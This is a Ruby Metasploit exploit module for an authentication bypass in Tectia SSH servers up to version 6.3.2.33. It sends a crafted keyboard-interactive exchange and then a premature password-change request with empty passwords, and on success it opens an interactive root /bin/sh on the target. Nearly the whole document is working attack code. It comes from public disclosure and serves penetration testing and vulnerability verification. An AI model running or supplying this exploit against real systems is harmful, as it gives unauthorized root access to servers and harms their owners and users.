Tectia SSH USERAUTH Change Request Password Reset Vulnerability

                                                ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'
require 'net/ssh'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Tectia SSH USERAUTH Change Request Password Reset Vulnerability",
			'Description'    => %q{
					This module exploits a vulnerability in Tectia SSH server for Unix-based
				platforms.  The bug is caused by a SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ request
				before password authentication, allowing any remote user to bypass the login
				routine, and then gain access as root.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'kingcope',  #Original 0day
					'bperry',
					'sinn3r'
				],
			'References'     =>
				[
					['EDB', '23082'],
					['URL', 'http://seclists.org/fulldisclosure/2012/Dec/12']
				],
			'Payload'        =>
				{
					'Compat' =>
					{
						'PayloadType'    => 'cmd_interact',
						'ConnectionType' => 'find'
					}
				},
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Targets'        =>
				[
					['Unix-based Tectia SSH 6.3.2.33 or prior', {}],
				],
			'Privileged'     => true,
			'DisclosureDate' => "Dec 01 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(22),
				OptString.new('USERNAME', [true, 'The username to login as', 'root'])
			], self.class
		)

		register_advanced_options(
			[
				OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
				OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
			]
		)
	end

	def check
		connect
		banner = sock.get_once
		print_status("#{rhost}:#{rport} - #{banner}")
		disconnect

		return Exploit::CheckCode::Appears if banner =~ /SSH Tectia/
		return Exploit::CheckCode::Safe
	end

	def rhost
		datastore['RHOST']
	end

	def rport
		datastore['RPORT']
	end

	#
	# This is where the login begins.  We're expected to use the keyboard-interactive method to
	# authenticate, but really all we want is skipping it so we can move on to the password
	# method authentication.
	#
	def auth_keyboard_interactive(user, transport)
		print_status("#{rhost}:#{rport} - Going through keyboard-interactive auth...")
		auth_req_pkt = Net::SSH::Buffer.from(
			:byte, 0x32,                     #userauth request
			:string, user,                   #username
			:string, "ssh-connection",       #service
			:string, "keyboard-interactive", #method name
			:string, "",                     #lang
			:string, ""
		)

		user_auth_pkt = Net::SSH::Buffer.from(
			:byte, 0x3D,                     #userauth info
			:raw, 0x01,                      #number of prompts
			:string, "",                     #password
			:raw, "\0"*32                    #padding
		)

		transport.send_message(auth_req_pkt)
		message = transport.next_message
		vprint_status("#{rhost}:#{rport} - Authentication to continue: keyboard-interactive")

		message = transport.next_message
		vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}")

		# USERAUTH INFO
		transport.send_message(user_auth_pkt)
		message = transport.next_message
		vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")

		2.times do |i|
			#USRAUTH REQ
			transport.send_message(auth_req_pkt)
			message = transport.next_message
			vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}")

			# USERAUTH INFO
			transport.send_message(user_auth_pkt)
			message = transport.next_message
			vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
		end
	end


	#
	# The following link is useful to understand how to craft the USERAUTH password change
	# request packet:
	# http://fossies.org/dox/openssh-6.1p1/sshconnect2_8c_source.html#l00903
	#
	def userauth_passwd_change(user, transport, connection)
		print_status("#{rhost}:#{rport} - Sending USERAUTH Change request...")
		pkt = Net::SSH::Buffer.from(
			:byte, 0x32,               #userauth request
			:string, user,             #username
			:string, "ssh-connection", #service
			:string, "password"        #method name
		)
		pkt.write_bool(true)
		pkt.write_string("")           #Old pass
		pkt.write_string("")           #New pass

		transport.send_message(pkt)
		message = transport.next_message.type
		vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")

		if message.to_i == 52 #SSH2_MSG_USERAUTH_SUCCESS
			transport.send_message(transport.service_request("ssh-userauth"))
			message = transport.next_message.type

			if message.to_i == 6 #SSH2_MSG_SERVICE_ACCEPT
				shell = Net::SSH::CommandStream.new(connection, '/bin/sh', true)
				connection = nil
				return shell
			end
		end
	end

	def do_login(user)
		opts       = {:user=>user, :record_auth_info=>true}
		options    = Net::SSH::Config.for(rhost, Net::SSH::Config.default_files).merge(opts)
		transport  = Net::SSH::Transport::Session.new(rhost, options)
		connection = Net::SSH::Connection::Session.new(transport, options)
		auth_keyboard_interactive(user, transport)
		userauth_passwd_change(user, transport, connection)
	end

	def exploit
		# Our keyboard-interactive is specific to Tectia.  This allows us to run quicker when we're
		# engaging a variety of SSHD targets on a network.
		if check != Exploit::CheckCode::Appears
			print_error("#{rhost}:#{rport} - Host does not seem vulnerable, will not engage.")
			return
		end

		c = nil

		begin
			::Timeout.timeout(datastore['SSH_TIMEOUT']) do
				c = do_login(datastore['USERNAME'])
			end
		rescue Rex::ConnectionError, Rex::AddressInUse
			return
		rescue Net::SSH::Disconnect, ::EOFError
			print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
			return
		rescue Net::SSH::Exception => e
			print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
			return
		rescue ::Timeout::Error
			print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
			return
		end

		handler(c.lsock) if c
	end
end